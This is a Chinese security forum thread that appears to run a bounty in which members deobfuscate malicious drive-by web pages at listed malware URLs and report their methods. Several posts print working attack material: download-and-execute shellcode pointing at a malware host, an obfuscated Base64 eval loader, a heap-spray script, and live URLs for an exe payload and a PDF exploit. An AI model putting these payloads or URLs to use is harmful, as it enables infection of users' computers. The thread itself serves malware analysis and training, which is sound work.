[解密悬赏][第15期][完成]

qianwenxiang

宗旨：
让更多人了解如何解密网马
规则：
1、Hunter不能参加活动
2、必须把所有木马地址全部解出，不完全解密且所发URL之前没有人解出者得到相应步骤加分
3、最好有解密软件日志，如果没有，请发出具体解密过程
4、当第一个人成功完全解密后，将根据难度给予其相应经验，所有URL全部解完之后本帖将锁定
5、如果有违反1~2条规则的情况，本帖随即锁定，之后成功解密的作废！
6、锁定后，会重新修改本次的解密地址，并且开帖！
7、为了体现悬赏帖宗旨，昨日解密成功者再次解出今天网址的只能得到对应网址70%经验



解密地址（替换HXXP为HTTP）：


hXXp://58.65.236.41/sp/

(完成情况：完成 by gankeyu @ 6L)

一次解完（包含解密步骤）=33分
分步（即未解完情况）=每步5分


hXXp://vc.zaqaab.cn/xx.htm

(完成情况：完成 by dearhaoji @ 2L)

一次解完，包含解密步骤=6分



注意：这些地址含有恶意软件，可能会危害到您的计算机。请不要直接打开，否则因此造成的一切后果我们概不负责！
参考解密工具：
FreShow（英文）、 Redoce 1.6（中文）、malzilla （英文，但是乃神器也）
http://glacierlk.cn/openlab/jm.htm
参考解密教程：
http://bbs.kafan.cn/viewthread.php?tid=387608
http://bbs.kafan.cn/viewthread.php?tid=220550
http://www.jimmyleo.com/share/FreShow!.rar（推荐！不会用FreShow的可以看看）


(时限=1天)(至2008.01.18 19:00止)

dearhaoji

第2个htp://jbl.trcwoman.info/ie.exe  直接解p,a,c,k,e,d ，让后把var shellcode=unescape删了。。直接 ESC。。就OK啦

IllusionWing

第一个///正在分析

IllusionWing

把下载回来的最后的eval(EeIewv1RaY(GuvpwXO))改成document.write(xxxx)，另存为htm执行
出来shellcode
%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u352F%u2E38%u3536%u322E%u3633%u342E%u2F32%u7073%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u323D%u0039
进行解码和逆序，出来
http://58.65.236.42/sp/load.php?id=29
但是该页，不可用，继续分析ing>

IllusionWing

但是替换成
http://58.65.236.41/sp/load.php?id=29
可以访问，解密完成，是exe

IllusionWing

另解出一个iframe（其实是PDF exploit）
http://58.65.236.41/sp/pdf.php?id=29&vis=1
才是有效地址

qianwenxiang

1. 
   
2. var Base64 = {
   
3. _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
   
4. decode : function (input) {
   
5. for (var ah = 0; ah < (input.length); ah++){
   
6. input=input.replace("'+'", "");
   
7. }
   
8. var SV2Hg = "";
   
9. var chr1, chr2, chr3;
   
10. var enc1, enc2, enc3, enc4;
    
11. var i = 0;
    
12. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
    
13. while (i < input.length) {
    
14. enc1 = this._keyStr.indexOf(input.charAt(i++));
    
15. enc2 = this._keyStr.indexOf(input.charAt(i++));
    
16. enc3 = this._keyStr.indexOf(input.charAt(i++));
    
17. enc4 = this._keyStr.indexOf(input.charAt(i++));
    
18. chr1 = (enc1 << 2) | (enc2 >> 4);
    
19. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
    
20. chr3 = ((enc3 & 3) << 6) | enc4;
    
21. SV2Hg = SV2Hg + String.fromCharCode(chr1);
    
22. if (enc3 != 64) {
    
23. SV2Hg = SV2Hg + String.fromCharCode(chr2);
    
24. }
    
25. if (enc4 != 64) {
    
26. SV2Hg = SV2Hg + String.fromCharCode(chr3);
    
27. }
    
28. }
    
29. eval(SV2Hg);
    
30. }
    
31. }
    
32. Base64.decode("ZnVuY3'+'Rpb24g'+'czRwRXZ'+'YSEVBS01QU'+'ihYV1NHazV3Qz'+'Z'+'0KXsgcm'+'V0dXJuIFN0cmluZ1sn'+'ZnJvbUN'+'oYXJDb2R'+'lJ10oWFdTR2'+'s1d'+'0M2d'+'Ck7fSBmdW5jdGl'+'v'+'b'+'i'+'BKV'+'ng4WU'+'d'+'PZThi'+'OTh'+'CKGtkUDZLaG1uKXsg'+'dmF'+'yIFVnUz'+'F3R'+'ko5SEcz'+'PTAsIFFzM'+'mw3YW5EV'+'D1'+'r'+'ZFA2S2htbi5sZW5ndGgsIGRh'+'cl'+'J6Vz0xMDI0L'+'CB4ZWdtcDNQRjhrLCB2WWVKUWc1V'+'0'+'dzamp'+'DLCBnNE1LYXZ2RT0n'+'Jywgcj'+'VlOE'+'p'+'tckhmUHZ6PVVnUzF'+'3Rko5SEczL'+'CBVNU1z'+'eDdjMDJ3RD'+'1VZ1M'+'xd0'+'ZK'+'O'+'Uh'+'HMyw'+'gRm5'+'K'+'QjN3'+'dD1VZ1Mxd0'+'Z'+'KOUhHMyw'+'gSDJRTnN'+'oNE'+'lk'+'Mz1B'+'cnJhe'+'Sg2Myw0MSw'+'yOSw1OCwwLDUzLDM3LDQ'+'5LDMwL'+'DE1LDAsMCw'+'wLDA'+'s'+'MCwwLDE'+'4'+'LDE3LDQ4LDQw'+'LDU1LDYsMTMsO'+'Cw'+'1'+'Nyw1OSw2MSw'+'yMSw'+'xMSwyMywxLDUxL'+'DUyLDcs'+'M'+'jUsMjQsMjgsNDIsNTQs'+'M'+'zMsOS'+'w1MCw'+'0L'+'DAsMCwwLDAsM'+'TQsMCw2MCwxM'+'Cwz'+'MSw0'+'N'+'iwzNSwzOC'+'wxMiw1Niw0'+'Ny'+'wyLDI3L'+'DI2L'+'DYyLDM2LDM'+'5LDIwL'+'DE'+'5LDMyLDQ0LDM'+'0'+'LDQ1L'+'DM'+'sNDMsN'+'SwxNiw'+'yMik7I'+'G'+'Zv'+'c'+'ih2WWV'+'KUWc1V0dz'+'ampDPU1hdGg'+'uY2V'+'pbChRczJsN'+'2F'+'u'+'R'+'FQvZGFyUnpXKTt'+'2W'+'WVKU'+'Wc1V0dzamp'+'DPlVn'+'UzF3Rko'+'5'+'SEczO3ZZ'+'ZUpRZzVXR3NqakMtLSl'+'7'+'IGZvcih4ZWdtcDN'+'QRjhrPU'+'1h'+'d'+'GgubWluKFFzMm'+'w3Y'+'W5EVCx'+'kY'+'XJSe'+'lc'+'pO3hlZ21wM1'+'BG'+'OGs+VWdT'+'MXdGSjlI'+'RzM7'+'eG'+'Vnb'+'X'+'A'+'zUE'+'Y4ay0t'+'LF'+'Fz'+'Mmw3YW5'+'EVC0'+'t'+'K'+'XsgR'+'m5KQ'+'jN3dH'+'w'+'9KEgyU'+'U5zaDRJZDN'+'ba2'+'RQN'+'ktobW'+'4uY2hhckNvZ'+'GVBdChyNWU4'+'Sm1y'+'SGZQ'+'dnorKyktNDhdKTw'+'8VTVNc3g3YzAyd0Q7IGlmKFU1TXN4N2MwMn'+'dE'+'KXsg'+'ZzRNS2F2'+'dkU'+'rPXM0cEV2WE'+'hFQU'+'tN'+'U'+'F'+'IoMz'+'VeR'+'m5KQj'+'N3dCYyN'+'TUpO'+'yBGbk'+'pC'+'M3d'+'0Pj4'+'9ODsg'+'VTVNc3g3Yz'+'Ayd0QtPTI'+'7IH0gZWxzZSB'+'7IFU1T'+'XN4N2MwM'+'n'+'d'+'EPTY7IH'+'0gfSB9IG'+'V2YW'+'woZ'+'zRN'+'S2F2dkUpOyB9'+'IEpWeD'+'h'+'ZR09lO'+'G'+'I5OEIoJ3'+'dLS3'+'FIQVBLRz'+'FucDExb'+'1Q'+'4U0txR'+'U5'+'4'+'eWpGNkFMWnJOejJOWk00V'+'05'+'6Mk'+'5aTTRXTno'+'yTlpN'+'NFd'+'OekZ'+'B'+'UmZ4Zk'+'56'+'Tk5'+'a'+'e'+'l'+'pmTnpL'+'QX'+'hyMVdOenU3Wlcx'+'V'+'0'+'56dTdacUdXTnpSelJ5'+'NFdOelJ6Wk0'+'0V056Unp'+'T'+'NlhmTn'+'pSV'+'kVxU1d'+'Oe'+'k'+'t6'+'UmZ'+'O'+'Zk56S3pSNkt'+'mTnp1'+'QVNwcG'+'Z'+'OejJ'+'6Uk1'+'TZk56Unp'+'SZktmT'+'npL'+'N3hm'+'S2ZOe'+'lJFW'+'n'+'RLZ'+'k56MUFS'+'S1RXTnoyQVo2Tld'+'Oej'+'FBUktUV'+'056S1dSZ'+'kFXTnpSel'+'J'+'xN'+'FdOelJ6UmZ4Zk56Szd'+'4Zkt'+'mTnp4Zk'+'V'+'x'+'NF'+'d'+'Oe'+'k'+'tXWmt5V05'+'6UmZadFh'+'XTnpGTn'+'hx'+'NFdOelJ6'+'UkBHV0'+'56UnpSZktmT'+'npYZlNL'+'cFdO'+'enhmRWZ4Zk56QU5'+'4a3lXT'+'npLV'+'3h'+'AR1d'+'OekZ'+'Oe'+'GZYV056UnpSQHB'+'mTnpSel'+'JmS'+'2ZOelhm'+'U0t'+'wV056eGZF'+'Zk'+'F'+'XTn'+'pOZlNre'+'VdO'+'elg3WnpwZk56'+'Rk54QVRmTn'+'pSe'+'lJxV'+'GZOel'+'J6UmZLZk56WGZTS'+'3BXTn'+'p4ZkVm'+'TldOe'+'kY3'+'Wm'+'t5V056R'+'k'+'FSQUdXTnpGTnhr'+'cGZ'+'OelJ6UnlaZk5'+'6UnpSZktmT'+'np'+'YZlN'+'LcFdOen'+'hmRTZLZk56eF'+'dSa'+'3lXTnpGV1NscFdOek'+'Z'+'Oe'+'Hp'+'5V056'+'Unp'+'SQUNXTnpSe'+'lJmS2Z'+'Oe'+'lhmU0t'+'wV056WHp'+'SN'+'nhmTno'+'yRXhLcGZOejFXU0E'+'0Zk56S0F4QFNXTnpLRXh'+'0'+'WG'+'ZOe'+'lJWR'+'XFwV056UnpSZlJmTnp4'+'Zl'+'pmS2Z'+'OejFXU0twV056Szd'+'4cnh'+'mTnpSelN0'+'WGZOelJmUmt'+'TV0'+'5'+'6Szd4V'+'0'+'tXTnpL'+'RXhX'+'WGZO'+'e'+'kZOe'+'Fc'+'x'+'V056'+'U'+'n'+'pSS1RXTnp'+'SelJmS2ZOenVOeFdLZk56'+'S2Z4bzFX'+'TnoxQVJ'+'y'+'RldOekE'+'3RXF5V05'+'6UnpSZktmT'+'npL'+'QX'+'hm'+'S'+'2ZOektFWnRY'+'Zk'+'56e'+'FdTS1'+'RXTnp4QVJLN'+'GZOektBeFdLZ'+'k'+'56TnpSdFhmTnpYN1p'+'r'+'eVd'+'OelJ6UmZL'+'Zk56eHpSZkt'+'mTnpYZl'+'NLV'+'FdOenVXeDZ4'+'Zk56'+'eH'+'p4ZjJm'+'T'+'np'+'4Zl'+'NLVFdO'+'ekZOeDZBV056U'+'npSa1NmTnpSelJm'+'S2ZOel'+'hm'+'U2ZOZk56eDdF'+'cktmTnp4RVp'+'mS2ZOek5'+'mWmxH'+'V056e'+'DdF'+'a'+'0d'+'mTnpSel'+'N0S2ZOenVXU'+'2'+'x'+'5V056Unp'+'SZkt'+'mTn'+'oxV1NA'+'Z1dO'+'eks'+'3'+'eHJLZk56UkVadFhmTnp'+'SZl'+'Jr'+'U'+'1dOeks3eFd'+'LV'+'056S0V4V1'+'hmTnpY'+'e'+'lJxeVdOelJ6UmZLZk56dVd4'+'ZktmTnp4RX'+'hm'+'d'+'VdO'+'elhmU2ZOZk5'+'6Mk'+'VTcnh'+'mTnp4R'+'V'+'N5VF'+'dOelg3'+'W'+'ldOZ'+'k'+'56Tnp'+'SbEdmTnp4RVNX'+'S'+'2'+'ZOelhmU'+'0tUV056dV'+'d4'+'Nk5XTnp'+'4enhmWGZOen'+'hmU0tUV056Rk54N'+'k'+'FXTnpSelJy'+'T'+'mZOelJ6U'+'mZLZk56UnpSa1NXTn'+'o'+'xV1NAZ1dO'+'eks3eH'+'J'+'LZ'+'k5'+'6UkV4dFhmT'+'npSVlJrU1dOeks3e'+'F'+'d'+'LV056S'+'0V4V1hm'+'Tnp'+'Le'+'l'+'JxeVdOelJ6UmZLZk5'+'6dVd4Z'+'ktmTn'+'pLN3hAZ'+'1d'+'Oekt6UnRYZk'+'56'+'UmZS'+'a1NXTnpLN'+'3hXS1'+'dOektFeFdYZk5'+'6Unp'+'ScXl'+'XTn'+'pSe'+'lJm'+'S2ZOe'+'lhmUmZL'+'Zk5'+'6eFZSVzJXTnpG'+'V1JmTmZOekZXUmZ'+'OZ'+'k56RldSZk5mTn'+'pGV1JmTmZOekZO'+'Wks0Zk56eGZ'+'4ZnhmTnp'+'LN3hX'+'T'+'mZOekY3'+'U'+'nlTV05'+'6'+'e'+'FZSQHNXTn'+'pGQVJ'+'A'+'Z1dOeks3e'+'FdYZk56S'+'zd'+'4cTRXTn'+'pSRXhs'+'W'+'ldOenh'+'6'+'W'+'kt'+'UV056eGZ'+'FZk5XTnoxTlNLVFdOeks3eG9OV0'+'56S'+'2Z'+'ab'+'FpmTnp'+'SRVNse'+'VdOenh'+'mRUA'+'0Zk56'+'MVdFS1RXTnp'+'S'+'RVNy'+'S2Z'+'OejJFU'+'0A0'+'Zk'+'56W'+'Hp4Q'+'X'+'BXT'+'noy'+'Q'+'Vp0'+'U'+'mZ'+'Oe'+'nhOU2ZOZk56MkVT'+'VzFXTn'+'p'+'S'+'VlpA'+'Q'+'1dOekt6UnpHV056WDdSb1JXTn'+'pSRXhsWmZOenh'+'XW'+'kFTZk56UkVTZ'+'n'+'hX'+'TnpYelJA'+'VGZOelhXUnFU'+'V056WFdabzJ'+'XT'+'no'+'xV1NXWFdOenhm'+'eH'+'FHZk56Rjd4S1RXT'+'n'+'p4ZnhLV'+'FdOe'+'lJF'+'U3J4Zk56'+'dV'+'d'+'Fe'+'VpXTn'+'p'+'SRV'+'pL'+'VFdOeks3e'+'HQyV'+'056S'+'0V'+'aV1JXT'+'npOQ'+'VpmTm'+'Z'+'OelJ6'+'U0t'+'U'+'V056U'+'kV'+'TS1RXTnp'+'4ZlpBR2'+'ZOeng3'+'Ul'+'d4V056U'+'npS'+'ZkF'+'XTnpYQVNxeVdOe'+'lg3WkBHV'+'056eGZTQGdXTnpYRVpXMm'+'ZO'+'elh'+'WWnR'+'4V05'+'6'+'U'+'npSd'+'Fh'+'XTnpBN3'+'h'+'Lc1'+'dOekE3'+'Wn'+'BUV0'+'56'+'e'+'EFSeU'+'d'+'mT'+'npOV3hBcGZOenhXUnl'+'zV'+'05'+'6T'+'ld4eX'+'BXTnpOQVpB'+'U2Z'+'Oek5'+'BeHk0V056Tjd4'+'QVNm'+'Tnp'+'4Q'+'VJ5WldOekE3WnA0V056S05TQX'+'Bm'+'TnpLV1'+'pLcGZOen'+'hX'+'Ukt'+'UV056Sz'+'dFcGdX'+'Tnp'+'OQVJwZ1dOe'+'ks3eEtD'+'V056TkFaeVRmTnp4QXh5Q1dOekE3WnA0V0'+'56T'+'j'+'dSSzRmTnpOV0V5c'+'EE0'+'YnJBS2p4NTQz'+'TmZUb0FE'+'MmtIV0tGUlpwNFhQcE'+'V1eTRFU'+'zVadEZXU0VT'+'NVp0Rld'+'TTkM0RUtYcHB2bm9BemFFUlFLTXF5WHAyZzV6eDha'+'N'+'1pTcDZ5QUY0b'+'EcxblJuSEE4'+'RV'+'I'+'3a24ycDJGTj'+'Z5NTd'+'wa'+'0tyQmxL'+'NXA4WjJ4QGJYS'+'2wzWE12OV'+'Jwc'+'VoyNUBTeTVAYkpu'+'QUxDUV'+'NZMkUyRHVLd'+'jlScH'+'FaMjVA'+'Y3JF'+'Q'+'G'+'JSRVJiQ1FTWTJFMkR'+'1eG'+'o4Q1F'+'TWTJFMkR1e'+'EVL'+'WHBwdnBQel9'+'BUHo4'+'Q1FTWTJFMkR'+'1'+'S3Z5Uk'+'t5eTJ'+'LcGI1Wk'+'FMZzd'+'2'+'Q1du'+'Q'+'GZBZmpTcDZ5QU'+'Y0Uz'+'M'+'yNlpHS05AcEs2e'+'UR'+'4V1EzTmZUb0FEMms'+'1NHB'+'6eFpw'+'TXg2QE'+'ZBU'+'G'+'pxYXI'+'4clhEUlAyRHpGY'+'W'+'5'+'BR'+'k'+'FQS0'+'xINGxHMW5'+'Sb'+'jE0R'+'XB1'+'bkA'+'5'+'UlBqcjFES0'+'By'+'cHhHQUtLa'+'jJNWkZh'+'bkFGQVBL'+'TF'+'c0bEcx'+'blJuS'+'jdaa0s'+'3WnFnN'+'1piNG'+'Y4TVhOQEt'+'yW'+'k'+'t'+'LWFA'+'yQWhOUzMyN'+'lpHS05Ac'+'Es2'+'eUR4T'+'mpyMURLQ'+'HJwe'+'E'+'dBS0tq'+'Mk1aR3BQ'+'el9'+'BUHpTcDZ5QUZya3A3ZlNkM'+'VFTeU5FMj'+'hQ'+'bkFwR'+'nJTQXg2eWx1c'+'m'+'pTcF'+'p'+'xQ'+'X'+'U0'+'U0wxVkB'+'ENjZB'+'e'+'n'+'JFbG8x'+'b1'+'Fxck5TT'+'DFWQEQ2NkF6ckVsb'+'zFE'+'UUBa'+'N1'+'pxck5TTDF'+'WQEQ2NkF'+'6ckV'+'sbzFR'+'akdDNHpkQXhrdE'+'hm'+'OHJOe'+'FNQV1F'+'TTD'+'F'+'W'+'QEQ'+'2Nk'+'F6c'+'kVsb'+'z'+'F'+'vYzg0ZjhNWE5AS'+'3JaS0tYU'+'DJBckJsS'+'zVw'+'OFo'+'yeEBiWE'+'ts'+'M1hvTUt'+'YcHB2'+'cEVAV1g'+'1c'+'El'+'IV1pBQ1dFbENXRWxDV0VsQ1dFbENXRWxDV'+'0Vs'+'czdFa3M3RWt'+'zN0'+'VrczdFa3M3RWtzN0VrczdFa3M'+'3R'+'Wtz'+'N0VrczdFa3M3RWtzN0VrczdFa3'+'M3RWtzN0'+'VrczdFa3M3RWtzN'+'0Vrcz'+'dFa3M3RWtzN0VrczdFa3M3'+'RWtzN0VrczdFa3'+'M3'+'RWtz'+'N0'+'V'+'rczdFa3'+'M3'+'R'+'WtzN0VrczdFa'+'3M'+'3R'+'WtzN'+'0Vr'+'czdFa3M3RWtz'+'N0VrczdFa3'+'M3RWtzN0VrczdFa3'+'M3RWt'+'z'+'N0'+'V'+'rczdFa3M3RWtzN0Vrc'+'zdFa3M3R'+'Wtz'+'N'+'0Vrc'+'zdFa3M'+'3RW'+'tzN0Vr'+'czdFa3M3RWtzN0VrczdFa3'+'M3RWtzN0VrczdFa3M3RWtz'+'N0Vrc'+'zdFa3'+'M3RWtzN0V'+'rczdFa3M3'+'R'+'WtzN0VrczdFa3M'+'3RW'+'tzN0Vr'+'czdFa3M'+'3RWtzN0'+'Vrczd'+'F'+'a3M'+'3RWtzN0Vrczd'+'Fa3M3R'+'WtzN0VrczdFa'+'3M3RWt'+'zN0VrczdFa3M3R'+'Wtz'+'N0V'+'rczdFa'+'3'+'M3RWtzN0VrczdF'+'a'+'3M3RWtzN0Vr'+'cz'+'dFa3M3RWtyV0tNM'+'VBxRmdLc'+'GI1U'+'Et'+'4d'+'X'+'k0RVR'+'Xe'+'HFnN1p4eEJ2'+'N'+'ldwU'+'0'+'BGNThick4nKTs'+'=");
    
33. 
    

复制代码

1. HvnZgtkiqJYQ=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u352F%u2E38%u3536%u322E%u3633%u342E%u2F32%u7073%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u323D%u2639%u7073%u3D6C%u3936");var YCQDWTx=unescape("%u0A0A%u0A0A");var Ze5LGdVnsaVoN6=20;var KkiEG=Ze5LGdVnsaVoN6+HvnZgtkiqJYQ.length;while(YCQDWTx.length<KkiEG)YCQDWTx+=YCQDWTx;var fxmgx=YCQDWTx.substring(0,KkiEG);var CYt1k6kwvaT2=YCQDWTx.substring(0,YCQDWTx.length-KkiEG);while(CYt1k6kwvaT2.length+KkiEG<0x60000)CYt1k6kwvaT2=CYt1k6kwvaT2+CYt1k6kwvaT2+fxmgx;var MwOAMYCsCW=new Array();for(ChIhTze5KKDY=0;ChIhTze5KKDY<1200;ChIhTze5KKDY++){MwOAMYCsCW[ChIhTze5KKDY]=CYt1k6kwvaT2+HvnZgtkiqJYQ}var FkBqpX=1299999999999999999988888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888…
   

复制代码

http://58.65.236.42/sp/load.php?id=29&spl=69

(真实地址：http://58.65.236.42/html/sp/load.php?id=29&spl=69)

lichun005

hXXp://58.65.236.41/sp/
用http://glacierlk.cn/openlab/jm.htm里的cyrpthtml转换下
得到的是
hxxp://58.65.236.41/sp/pdf.php?id=30
我好像就这样得到上面的网址

雨宫优子

原帖由 lichun005 于 2009-1-17 22:13 发表
hXXp://58.65.236.41/sp/
用http://glacierlk.cn/openlab/jm.htm里的cyrpthtml转换下
得到的是
hxxp://58.65.236.41/sp/pdf.php?id=30
我好像就这样得到上面的网址

晕死..我还在malzilla里Run Script..


没想到那么简单，不过学点方法，原理还是有益的..

雨宫优子

PDF解密不难